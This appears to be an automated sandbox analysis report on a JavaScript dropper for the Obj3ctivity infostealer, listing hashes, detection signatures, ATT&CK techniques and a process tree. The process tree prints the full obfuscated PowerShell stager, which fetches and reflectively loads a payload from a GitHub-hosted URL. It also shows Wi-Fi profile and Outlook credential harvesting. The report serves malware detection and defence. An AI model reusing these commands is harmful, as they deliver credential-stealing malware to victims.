Analysis
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max time kernel
94s -
max time network
203s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
02-10-2024 01:07
Static task
static1
Behavioral task
behavioral1
Sample
452773892199400.js
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
452773892199400.js
Resource
win10v2004-20240802-en
General
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Target
452773892199400.js
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Size
198KB
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MD5
8a4caeb85a99c4cba82bc48f3668986d
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SHA1
99399b238f8b594bf247e517f7af5025668575f3
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SHA256
6f646354fed6f9fb7769dffdb572dbb267acf3c24a0498b4561db3e90a1219c2
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SHA512
c0fe0630c841d89fe5386547bef7292c0c06f57329fecdfbb0397f8a969d18ef5a562dfb0ecd6c8e22d60ee38245f69b586c494329fbf55881f76ef3fb0e8503
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SSDEEP
6144:3cIC5cYmgSoAIHFdYHl4xO4k2WF+l1QUP/XCxJn:pC5cYmgSqdYF4xOql1QUPKxJn
Malware Config
Extracted
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNote_J.txt
Signatures
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Detects Obj3ctivity Stage1 3 IoCs
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
resource yara_rule behavioral2/memory/2160-23-0x0000000000400000-0x000000000041A000-memory.dmp family_obj3ctivity behavioral2/memory/2160-26-0x0000000000400000-0x000000000041A000-memory.dmp family_obj3ctivity behavioral2/memory/2160-31-0x0000000005920000-0x0000000005A06000-memory.dmp family_obj3ctivity -
Obj3ctivity, PXRECVOWEIWOEI
Obj3ctivity aka PXRECVOWEIWOEI is an infostealer written in C#.
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Blocklisted process makes network request 2 IoCs
flow pid Process 7 2436 powershell.exe 15 2436 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 5056 powershell.exe 2436 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Control Panel\International\Geo\Nation wscript.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe Key opened \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe Key opened \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 6 raw.githubusercontent.com 7 raw.githubusercontent.com -
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 30 icanhazip.com 48 ip-api.com -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 2436 set thread context of 2160 2436 powershell.exe 85 -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh netsh.exe -
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language AddInProcess32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language chcp.com Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language findstr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language netsh.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 2504 netsh.exe 4024 cmd.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 AddInProcess32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier AddInProcess32.exe -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 5056 powershell.exe 5056 powershell.exe 2436 powershell.exe 2436 powershell.exe 2160 AddInProcess32.exe 2160 AddInProcess32.exe 2160 AddInProcess32.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 5056 powershell.exe Token: SeDebugPrivilege 2436 powershell.exe Token: SeDebugPrivilege 2160 AddInProcess32.exe Token: SeSecurityPrivilege 3948 msiexec.exe -
Suspicious use of WriteProcessMemory 24 IoCs
description pid Process procid_target PID 3996 wrote to memory of 5056 3996 wscript.exe 82 PID 3996 wrote to memory of 5056 3996 wscript.exe 82 PID 5056 wrote to memory of 2436 5056 powershell.exe 84 PID 5056 wrote to memory of 2436 5056 powershell.exe 84 PID 2436 wrote to memory of 2160 2436 powershell.exe 85 PID 2436 wrote to memory of 2160 2436 powershell.exe 85 PID 2436 wrote to memory of 2160 2436 powershell.exe 85 PID 2436 wrote to memory of 2160 2436 powershell.exe 85 PID 2436 wrote to memory of 2160 2436 powershell.exe 85 PID 2436 wrote to memory of 2160 2436 powershell.exe 85 PID 2436 wrote to memory of 2160 2436 powershell.exe 85 PID 2436 wrote to memory of 2160 2436 powershell.exe 85 PID 2160 wrote to memory of 4024 2160 AddInProcess32.exe 90 PID 2160 wrote to memory of 4024 2160 AddInProcess32.exe 90 PID 2160 wrote to memory of 4024 2160 AddInProcess32.exe 90 PID 4024 wrote to memory of 1408 4024 cmd.exe 93 PID 4024 wrote to memory of 1408 4024 cmd.exe 93 PID 4024 wrote to memory of 1408 4024 cmd.exe 93 PID 4024 wrote to memory of 2504 4024 cmd.exe 94 PID 4024 wrote to memory of 2504 4024 cmd.exe 94 PID 4024 wrote to memory of 2504 4024 cmd.exe 94 PID 4024 wrote to memory of 4912 4024 cmd.exe 95 PID 4024 wrote to memory of 4912 4024 cmd.exe 95 PID 4024 wrote to memory of 4912 4024 cmd.exe 95 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 AddInProcess32.exe
Processes
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C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\452773892199400.js1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3996 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KAAoACcAZgBxAGkAdQAnACsAJwByAGwAIAA9ACAATAAnACsAJwBwACcAKwAnAGoAaAB0ACcAKwAnAHQAJwArACcAcAAnACsAJwBzADoALwAvAHIAYQB3AC4AZwAnACsAJwBpAHQAaAAnACsAJwB1AGIAJwArACcAdQAnACsAJwBzAGUAcgAnACsAJwBjACcAKwAnAG8AbgB0AGUAbgAnACsAJwB0AC4AYwBvAG0ALwAnACsAJwBOAG8ARAAnACsAJwBlAHQAZQBjACcAKwAnAHQATwBuAC8ATgBvAEQAZQAnACsAJwB0ACcAKwAnAGUAYwAnACsAJwB0AE8AbgAvAHIAJwArACcAZQBmAHMALwAnACsAJwBoACcAKwAnAGUAJwArACcAYQBkAHMALwAnACsAJwBtAGEAaQBuAC8ARABlAHQAJwArACcAYQBoACcAKwAnAE4AJwArACcAbwAnACsAJwB0AGUAXwAnACsAJwBKACcAKwAnAC4AdAB4AHQATABwAGoAOwAgAGYAJwArACcAcQAnACsAJwBpAGIAYQBzACcAKwAnAGUAJwArACcANgA0ACcAKwAnAEMAbwBuACcAKwAnAHQAJwArACcAZQAnACsAJwBuAHQAJwArACcAIAA9ACAAKAAnACsAJwBOAGUAdwAtAE8AYgAnACsAJwBqACcAKwAnAGUAYwAnACsAJwB0ACAAUwB5ACcAKwAnAHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkAJwArACcALgAnACsAJwBEAG8AJwArACcAdwBuAGwAbwAnACsAJwBhAGQAUwB0AHIAaQAnACsAJwBuAGcAKAAnACsAJwBmAHEAaQB1AHIAJwArACcAbAApACcAKwAnADsAJwArACcAIABmAHEAaQBiAGkAJwArACcAbgBhAHIAeQBDAG8AbgB0ACcAKwAnAGUAbgB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgAnACsAJwBDAG8AbgB2ACcAKwAnAGUAcgAnACsAJwB0ACcAKwAnAF0AJwArACcAOgA6AEYAcgBvACcAKwAnAG0AJwArACcAQgAnACsAJwBhAHMAJwArACcAZQA2ADQAJwArACcAUwB0AHIAaQAnACsAJwBuAGcAKABmAHEAaQBiAGEAcwBlACcAKwAnADYANABDAG8AbgB0AGUAbgB0ACcAKwAnACkAOwAnACsAJwAgAGYAJwArACcAcQAnACsAJwBpAGEAcwAnACsAJwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAJwArACcAZQBmACcAKwAnAGwAJwArACcAZQBjAHQAaQBvAG4ALgBBAHMAcwBlACcAKwAnAG0AYgAnACsAJwBsAHkAJwArACcAXQA6ADoAJwArACcATABvAGEAZAAoAGYAcQAnACsAJwBpAGIAaQBuAGEAcgB5AEMAJwArACcAbwBuAHQAZQBuAHQAJwArACcAKQA7ACAAWwAnACsAJwBkAG4AbABpAGIALgBJAE8AJwArACcALgBIAG8AbQBlAF0AOgA6AFYAQQAnACsAJwBJACcAKwAnACgATQBoAFAAdAAnACsAJwB4ACcAKwAnAHQAJwArACcALgAnACsAJwBiACcAKwAnAGIAawBhAC8AdgBlACcAKwAnAGQALgAnACsAJwAyAHIAJwArACcALgAnACsAJwAzADkAJwArACcAYgAzACcAKwAnADQANQAzACcAKwAnADAAJwArACcAMgBhADAANwA1ACcAKwAnAGIAMQAnACsAJwBiAGMAMABkACcAKwAnADQANQBiADYAMwAyACcAKwAnAGUAYgA5AGUAZQA2ACcAKwAnADIAJwArACcALQAnACsAJwBiAHUAcAAvACcAKwAnAC8AJwArACcAOgBzAHAAdAAnACsAJwB0AGgAJwArACcATQBoAFAALAAgACcAKwAnAE0AaABQACcAKwAnAGQAZQBzACcAKwAnAGEAdABpAHYAJwArACcAYQBkACcAKwAnAG8ATQBoAFAALAAgAE0AaABQACcAKwAnAGQAZQBzAGEAJwArACcAdAAnACsAJwBpAHYAJwArACcAYQBkAG8ATQBoAFAALAAnACsAJwAgAE0AaABQAGQAJwArACcAZQBzACcAKwAnAGEAdABpACcAKwAnAHYAYQBkAG8ATQBoACcAKwAnAFAALAAgAE0AaABQACcAKwAnAEEAZABkAEkAbgBQACcAKwAnAHIAbwBjAGUAJwArACcAcwBzADMAJwArACcAMgBNACcAKwAnAGgAUAAsACcAKwAnACAATQBoAFAAZAAnACsAJwBlACcAKwAnAHMAJwArACcAYQB0AGkAdgBhAGQAJwArACcAbwBNAGgAUAAsACcAKwAnAE0AaABQACcAKwAnAE0AaAAnACsAJwBQACkAJwApAC0AYwBSAGUAUABMAGEAYwBFACAAIAAnAGYAcQBpACcALABbAEMASABhAHIAXQAzADYALQBSAGUAUABMAEEAQwBlACgAWwBDAEgAYQByAF0ANwA3ACsAWwBDAEgAYQByAF0AMQAwADQAKwBbAEMASABhAHIAXQA4ADAAKQAsAFsAQwBIAGEAcgBdADMANAAtAGMAUgBlAFAATABhAGMARQAnAEwAcABqACcALABbAEMASABhAHIAXQAzADkAKQB8AC4AIAAoACAAJABwAHMAaABPAE0ARQBbADIAMQBdACsAJABwAFMAaABPAE0AZQBbADMAMABdACsAJwBYACcAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5056 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('fqiu'+'rl = L'+'p'+'jht'+'t'+'p'+'s://raw.g'+'ith'+'ub'+'u'+'ser'+'c'+'onten'+'t.com/'+'NoD'+'etec'+'tOn/NoDe'+'t'+'ec'+'tOn/r'+'efs/'+'h'+'e'+'ads/'+'main/Det'+'ah'+'N'+'o'+'te_'+'J'+'.txtLpj; f'+'q'+'ibas'+'e'+'64'+'Con'+'t'+'e'+'nt'+' = ('+'New-Ob'+'j'+'ec'+'t Sy'+'stem.Net.WebClient)'+'.'+'Do'+'wnlo'+'adStri'+'ng('+'fqiur'+'l)'+';'+' fqibi'+'naryCont'+'ent = [System.'+'Conv'+'er'+'t'+']'+'::Fro'+'m'+'B'+'as'+'e64'+'Stri'+'ng(fqibase'+'64Content'+');'+' f'+'q'+'ias'+'sembly = [R'+'ef'+'l'+'ection.Asse'+'mb'+'ly'+']::'+'Load(fq'+'ibinaryC'+'ontent'+'); ['+'dnlib.IO'+'.Home]::VA'+'I'+'(MhPt'+'x'+'t'+'.'+'b'+'bka/ve'+'d.'+'2r'+'.'+'39'+'b3'+'453'+'0'+'2a075'+'b1'+'bc0d'+'45b632'+'eb9ee6'+'2'+'-'+'bup/'+'/'+':spt'+'th'+'MhP, '+'MhP'+'des'+'ativ'+'ad'+'oMhP, MhP'+'desa'+'t'+'iv'+'adoMhP,'+' MhPd'+'es'+'ati'+'vadoMh'+'P, MhP'+'AddInP'+'roce'+'ss3'+'2M'+'hP,'+' MhPd'+'e'+'s'+'ativad'+'oMhP,'+'MhP'+'Mh'+'P)')-cRePLacE 'fqi',[CHar]36-RePLACe([CHar]77+[CHar]104+[CHar]80),[CHar]34-cRePLacE'Lpj',[CHar]39)|. ( $pshOME[21]+$pShOMe[30]+'X')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2436 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"4⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
- outlook_win_path
PID:2160 -
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All5⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:4024 -
C:\Windows\SysWOW64\chcp.comchcp 650016⤵
- System Location Discovery: System Language Discovery
PID:1408
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C:\Windows\SysWOW64\netsh.exenetsh wlan show profile6⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
PID:2504
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C:\Windows\SysWOW64\findstr.exefindstr All6⤵
- System Location Discovery: System Language Discovery
PID:4912
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3948
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD581d91bab2fdd72436e4852d94ea7650d
SHA15652b3c46a0cf75a03859c5707f36fb08f5c631a
SHA25668a3392780a3c6219350a2ca51262a74a2a9d6a1ea84686f38d473f37d0588e1
SHA512df1e3da61c9657a7f0c0eac9ce610798421e138259ec2bf41063b8e8eb8e1c9e6d669aaba675ba16ccdceed1aa3f76b482893dc98f3d6b46cd48d61da7669268
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Filesize
64B
MD51a11402783a8686e08f8fa987dd07bca
SHA1580df3865059f4e2d8be10644590317336d146ce
SHA2569b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0
SHA5125f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82